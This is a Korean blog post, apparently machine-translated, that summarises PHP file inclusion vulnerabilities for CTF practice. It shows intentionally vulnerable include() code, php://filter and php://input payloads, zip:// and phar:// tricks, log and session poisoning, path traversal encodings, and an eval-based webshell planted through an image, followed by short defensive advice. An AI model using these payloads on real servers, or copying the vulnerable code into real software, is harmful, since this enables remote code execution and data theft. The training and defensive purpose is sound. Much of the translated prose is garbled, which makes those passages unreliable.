개발 꿀팁/PHP

CTF 파일 포함 취약성 요약

Jammie 2022. 7. 8. 16:26
반응형

CTF 파일 포함 취약성 요약

0x01 파일 포함 누락이란?퉁퉁하다
PHP함수를 통해 파일을 도입할 경우,들어오는 파일명은 제대로 검증되지 않았습니다.예상 밖의 파일을 조작하면 예상치 못한 파일 유출과 악성코드 주입으로 이어질 수 있다.


0x02 파일에는 취약성의 링이 포함되어 있습니다요구하다
allow_url_fopen=On(기본값은 On) 규정은원격 서버나 웹 사이트에서 데이터를 검색할 수 있는지 여부
allow_url_include=On(php5.2 이후)기본 설정) include/require 원격 파일 허용 여부

0x03 공통 파일 함수 포함
php에서 흔히 볼 수 있는 파일 함수네 가지 종류가 있다.

include()
require()
include_once(인클루드_once))
require_once()
include와 require는 기본적으로 동일하며, 오류 처리자를 제외하고면

include(), 생성만경고(E_WARNING), 그리고스크립트는 계속됩니다.
require(), 생성됨치명적 오류(E_COMPILE_ERROR) 스크립트 중지
include_once(인클루드_once))와 require_once()파일이 이미 포함되어 있으면 포함하지 않습니다. 다른 특성은 위와 같습니다.

0x04 PHP 더미 프로토콜
PHP는 약간의 잡종 수혈을 제공했다.입출력(IO) 스트림, PHP에 접근할 수 있는 I/O 스트림, 표준 I/O 및 오류 설명자, 메모리, Disk 백업의 임시 파일 스트림, 다른 읽기 및 쓰기 파일 리소스를 사용할 수 있는 필터입니다.

1.php://inpuT
php:/input코요청한 원본 데이터에 접근하는 읽기 전용 스트림으로 post가 요청한 데이터를 php코드로 실행한다.들어오는 인자를 파일 이름으로 열 때 php: // input으로 설정할 수 있습니다. php 집post 내용을 파일 내로 간주합니다허용. 임의 코드가 실행될 수 있습니다.


Example 1: 만들기임의 코드로 실행

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	if ($file!="http://www.baidu.com") echo "tips:현재 디렉터리의 파일에 flag";
	include($file);
}else{
	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

비고: php: // input을 이용하여 php 목마, 즉 post에 다음과 같은 코드가 유입될 수도 있다

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

Example 2: 파일 내용을 무시함

//test.php
<?php
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
	echo "success\n";
	echo $flag;
}

//flag.php
<?php
$flag = 'flag{flag_is_here}';
?>

감사 test.php에 따르면 $a 파라미터가 비어 있지 않고, 읽은 파일에 'I want flag'가 포함되어 있을 때 $flag를 표시할 수 있습니다.따라서 php:/input을 이용하여 원본 post 데이터를 얻고, 요청된 원본 데이터의 읽기 전용 스트림에 액세스하여 post 요청 중의 데이터를 PHP 코드로 실행함으로써 바이패스할 수 있다.
비고: file_get_contents()가 발생하면 php://input으로 우회합니다

2. php: // filter
php: // filter 가능지정한 파일 소스를 가져옵니다. php:// filter 스트림은 포함 함수와 결합하면 php 파일로 실행됩니다. 따라서 우리는 파일을 인코딩하여 실행하지 않습니다. 따라서 임의의 파일을 읽습니다

POC1은 xxx.php 파일을 직접 읽지만 브라우저 페이지에 바로 표시할 수 없는 경우가 많기 때문에 POC2의 방법으로 파일 내용을 base64로 인코딩하여 브라우저에 표시하고 자체 디코딩해야 합니다

Example 1:

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

1.tip 클릭 후 다음 페이지로 이동하면 url에 file=flag.php가 나타나며, 다음과 같습니다

2.페이로드 시도:?file=php: // filter/ resource= flag.php, 내용을 표시할 수 없습니다:

3.페이로드 시도:?file=php: // filter/ read=convert.base64-encode/resource=flag.php, base64문자열을 얻어 flag를 flag.php소스에 있는 코멘트로 디코딩합니다

3.zip:/
zip: // 가능압축파일의 파일에 접근하다.포함 함수와 결합하면 zip:// 스트림이 php 파일로 실행됩니다. 따라서 임의 코드가 실행될 수 있습니다.

zip: // 중만 가능들어오는 절대 경로.
#로 압축된 패킷과패키지의 내용을 압축하고 #url 인코딩%23(아래 POC에서 #%23으로 대체)
지프만 누르면 돼접미사 이름은 임의로 변경할 수 있습니다.
같은 타입의 z도 있고lib://와 bzip2:/

Example 1:

//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
	echo "hick?";
	exit();
}else{
	include($file.".php");
}
?>
<!-- 현재 디렉터리의 파일에 flag-->
//upload.php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" >
	 <input type="file" name="fupload" />
 	<input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {
    $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //파일 이름
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //파일 접미사
    $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //파일 크기
    $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 서버에 저장된 파일의 임시 복사본 이름
    $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
        ( $uploaded_size < 100000 ) ) {
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
            echo '<pre>upload error</pre>';
        }
        else {// Yes!
            echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        echo '<pre>you can upload jpg,png,zip....</pre>';
    }
}
 ?>

4. data: // 와 phar: //
data: // 마찬가지로 php: //input, 사용자가 입력 스트림을 제어할 수 있으며 포함 함수와 결합하면 사용자가 입력한 data:// 스트림이 php 파일로 실행된다.이로 인해 임의 코드가 실행된다

phar: // 약간 유사한 zip: // 역시 임의 코드를 실행할 수 있습니다.

phar: // 중 상대 경로와 절대 경로 모두 사용 가능

0x05 아파치 로그 파일 포함
  WEB 서버는 일반적으로 사용자의 접속기를 가지고 있다로그는 접근 로그에 저장됩니다.그러면 우리는 로그에 기록된 내용에 따라 요청을 정교하게 구성하여 로그 파일에 PHP 코드를 삽입하고, 파일에 취약성이 포함되어 로그에 있는 PHP 코드를 실행할 수 있습니다

Apache가 실행되면 일반적으로 기본적으로 두 개의 로그 파일이 생성되는데, Windos 아래는 access.log(액세스.log)와 error.log(에러로그), Linux 아래는 access_log와 error_log로 클라이언트의 매번 요청과 서버 응답에 대한 정보를 기록합니다.
  존재하지 않는 리소스에 액세스할 경우 http://www.xxxx.com/ )는 로그에 기록되지만, 코드의 민감한 문자는 브라우저에서 변환되어 burpsuit을 통해 코드를 생략할 수 있습니다. APACH의 로그 파일을 쓰고 로그 파일을 포함함으로써 이 코드를 실행할 수 있습니다. 단, APACH 로그 파일의 저장 경로를 알아야 하기 때문에 보안을 위해 APACH를 설치할 때 기본 경로를 사용하지 않도록 합니다

0x06 SESSION 포함
일단 시도에 따라 SESSI에 포함시킬 수 있습니다ON 파일은 파일 내용에 따라 제어 가능한 변수를 찾아 payload를 만들어 파일에 삽입하고 마지막에 포함하면 됩니다.

이용조건:

세션에서 제어 가능한 변수 찾기
세션 파일은 읽고 쓸 수 있으며저장 경로 알기
php의 session 파일 보증메모리 경로는 phpinfo의 session.save_path에서 볼 수 있다.

세션 공통 스토리지 경로:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
세션 파일 형식: sess_[phpsessid], phpsessid가 있다요청한 쿠키 필드에서 볼 수 있습니다

 

0x06 포함/pros/self/environ
proc/self/environ에 user가 저장됩니다-agent 헤더, user-agent에 php코드를 삽입하면 php코드가 environ에 기입된 후 이를 포함하면 된다.

이용조건:

php가 cgi 방식으로 작동해야 environ이 U를 유지할 수 있습니다.A머리.
environ 파일 저장 위치를 알고 있는 environ 파일읽을 수 있다.

0x07 임시 파일 포함

 

php에 파일을 업로드하면 임시 파일이 생성됩니다.리눅스에서는 /tmp 디렉토리를 사용하고, 윈도에서는 c:\winsdows\temp 디렉토리를 사용합니다.임시 파일이 삭제되기 전에 경쟁을 통해 해당 임시 파일을 포함할 수 있습니다.


포함되기 때문에 포함시켜야 할 파일명이 있습니다.한 가지 방법은 폭력적으로 추측하는 것인데 리눅스에서 사용하는 랜덤 함수에 결함이 있는 반면 윈도에서는 65535개의 서로 다른 파일명만 있기 때문에 가능하다.

또 다른 방법은 phpinfo 페이지의 php variables에 맞춰 업로드한 파일의 저장 경로와 임시 파일명을 그대로 가져와 포함하면 된다.이 방법은 LFI With PHPInfo Ass를 참고하시면 됩니다이스턴스

임시문서의 존재, 경합시간을 이용한 것과 같은 CTF 문제: XMAN 캠프-2017-babyweb-writeup


0x08 파일 업로드 포함
많은 사이트가 프로필 사진, 문서 등 파일 업로드 기능을 제공하는데, 이때 한 문장의 사진을 목마(木馬)로 올리는 방식으로 이를 담는다.

사진마는 다음과 같이 제작되며, cmd 콘솔 아래에 입력된다.

1.jph 및 2.php 파일 디렉토리에 들어가면 실행:

copy  1.jpg/b+2.php  3.jpg

이미지 1.jpg와 php코드가 포함된 2.php파일을 병합하여 이미지 말 3.jpg를 생성한다

/upload/201811.jpg의 경로를 통해 서버에 목마가 업로드되었다고 가정하자.
이미지 코드는 다음과 같습니다.

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

0x09 기타포즈 포함
SMTP 포함( 로그)
포함xss



파일에 취약성이 있는 바이패스 방법 포함

0x09 접두사 바이패스 지정
I. 디렉터리 트래버스
사용.../.../ 반환이전 디렉토리로 돌아가면 디렉토리라고 불립니다.이동( Path) 트래버설).예를 들어 ?file=../../phpinfo/phpinfo.php
테스트 코드는 다음과 같습니다.

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//접두사
	include "/var/www/html/".$file;

	highlight_file(__FILE__);
?>

현재 /var/log 디렉터리에 flag.txt 파일이 있습니다. 예를 들어, 다음을 통해 디렉터리 트래버싱을 할 수 있습니다

 include.php?file=../../log/flag.txt

서버 측에서 실제로 스플라이싱한 경로는 /var/WWWWWWWHTML/../log/test.txt, 즉 /var/log/flag.txt입니다. 성공했습니다.

2. 인코딩 바이패스
서버 측에서 .../등에 대해서 몇 가지 필터링을 하고, 코드로 우회할 수 있습니다.
1.url 코딩을 이용하다

../

%2e%2e%2f
..%2f
%2e%2e/
..\

%2e%2e%5c
%5c
%2e%2e\
2.이차 부호화

../
%252e%252e%252f
..\
%252e%252e%255c
3.컨테이너/서버의 인코딩 방식

../

%c0%af

비고: Why does Directory traversal attack% C0%AF work?
%c0%ae%c0%ae/

비고: 자바에서 "%c0%ae"를 "\uC0AE"로 해석하고 ASCCII 문자의 "." (점)
Apache Tomcat Directory Traversal
..\

..%c1%9c

0x10 접두사 바이패스 지정
접미사 우회 테스트 코드는 다음과 같습니다.이 코드는 접미사 바이패스 방법에 사용됩니다

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//접미사
	include $file.".txt";

	highlight_file(__FILE__);
?>

1.url 활용
원격 파일에 누락 포함동(RFI)에서는 query 또는 fragment를 이용하여 접미사 제한을 둘 수 있다.


전체 url 형식:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

[접근 파라미터]?file=http://localhost:8081/phpinfo.php?
[묶음 후]?file=http://localhost:8081/phpinfo.php?txt

Example: (루트 아래에 flag2.txt 파일이 설치되어 있음)

fragment( #)

[접근 파라미터]?file=http://localhost:8081/phpinfo.php%23
[묶음 후]?file=http://localhost:8081/phpinfo.php#.txt
Example: (루트에 설치)디렉터리에 flag2.txt 파일이 있음)

2. 이용 프로토콜
zip: //와 phar: //를 이용하면 전체 압축 패킷이 우리의 제어 가능한 파라미터이기 때문에 그들의 접미사만 알면 스스로 구축할 수 있다.

zip: //

[접근 파라미터]?file=zip: // D:\zip.jpg%23phpinfo
[묶음 후]?file=zip: // D:\zip.jpg#phpinfo.txt
phar:/

[접근 파라미터]?file=phar: // zip.zip/ phpinfo
[묶음 후]?file=phar: // zip.zip/ phpinfo.txt
Example:
(내 환경 루트 디렉터리에 php.zip 압축 패킷이 있고 phpinfo.txt가 포함되어 있으며, 그 안에 코드<?가 포함되어 있습니다.php phpinfo(;?>)
따라서 각각 payload를 다음과 같이 구성한다.

?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo

?file=phar://../../php.zip/phpinfo

3. 길이 절단
이용조건:

php 버전 < php 5.2.8
원리:

윈도 디렉터리 최대 길이도 256바이트, 초과된 부분은 버려집니다.
리눅스 아래의 디렉터리 최대 길이는4096바이트, 초과된 부분은 버려집니다.
이용방법:

반복만 하면 됩니다./(W)윈도 시스템에서 바로 차단할 수 있습니다.끊다)

  ?file=./././。。。생략。。。././shell.php

지정한 접미사.txt는 최대치에 도달하면 바로 버려집니다.

4.% 00 잘라내기
이용조건:

magic_quotes_gpc=Off
php 버전 < php 5.3.4
이용방법:

파일 이름 끝에 직접% 00을( 를) 붙여 지정한 접미사 이름을 잘라냅니다

  ?file=shell.php%00

비고: 이제 %00단계까지 사용하는 경우는 많지 않습니다.



파일 포함 취약성 방어

allow_url_include와 allow_url_fopen최소 권한 설정

open_basedir(open_) 설정basedir php열 수 있는 파일이 지정된 디렉터리 트리로 제한됨)

화이트리스트 제한은 파일을 포함하거나 필터링합니다./ \

 

반응형